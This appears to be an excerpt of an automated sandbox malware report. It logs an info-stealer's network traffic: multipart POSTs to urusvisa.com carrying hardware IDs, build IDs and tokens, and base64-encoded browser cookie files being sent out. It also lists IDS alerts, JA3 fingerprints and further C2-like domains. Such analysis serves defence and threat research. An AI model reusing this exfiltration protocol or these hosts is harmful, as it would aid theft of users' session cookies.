0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKKEHJDHJKFIECAAKFIJ--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCGIIEHIEGDGDGCAEBGHost: urusvisa.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 2d 2d 0d 0a Data Ascii: ------CFCGIIEHIEGDGDGCAEBGContent-Disposition: form-data; name="hwid"54A50671C48A3788952882-a33c7340-61ca------CFCGIIEHIEGDGDGCAEBGContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------CFCGIIEHIEGDGDGCAEBG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="mode"1------KJEHDHIEGIIIDHIDHDHJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="mode"2------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBAHost: urusvisa.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 2d 2d 0d 0a Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="mode"21------EBAKEBAECGCBAAAAAEBA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKFHost: urusvisa.comContent-Length: 7629Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAKJKJEBGHJKFHIDGCHost: urusvisa.comContent-Length: 829Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 2d 2d 0d 0a Data Ascii: ------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="file_name"Q29va2llc
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKFBGCFHCGDHIDAAECHost: urusvisa.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 2d 2d 0d 0a Data Ascii: ------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="hwid"54A50671C48A3788952882-a33c7340-61ca------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------HJJKFBGCFHCGDHIDAAEC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="mode"1------EHCBAAAFHJDHJJKEBGHI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCBHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 2d 2d 0d 0a Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="mode"2------FIJECAEHJJJKJKFIDGCB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFHHost: urusvisa.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="mode"21------CAFIJKFHIJKKEBGCFBFH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKEHost: urusvisa.comContent-Length: 7593Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: urusvisa.comContent-Length: 829Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file_name"Q29va2llc

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49723 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49727 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49730 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49732 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49733 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: underlinemdsj.site
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: chaptermusu.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: possiwreeste.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: possiwreeste.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: underlinemdsj.site
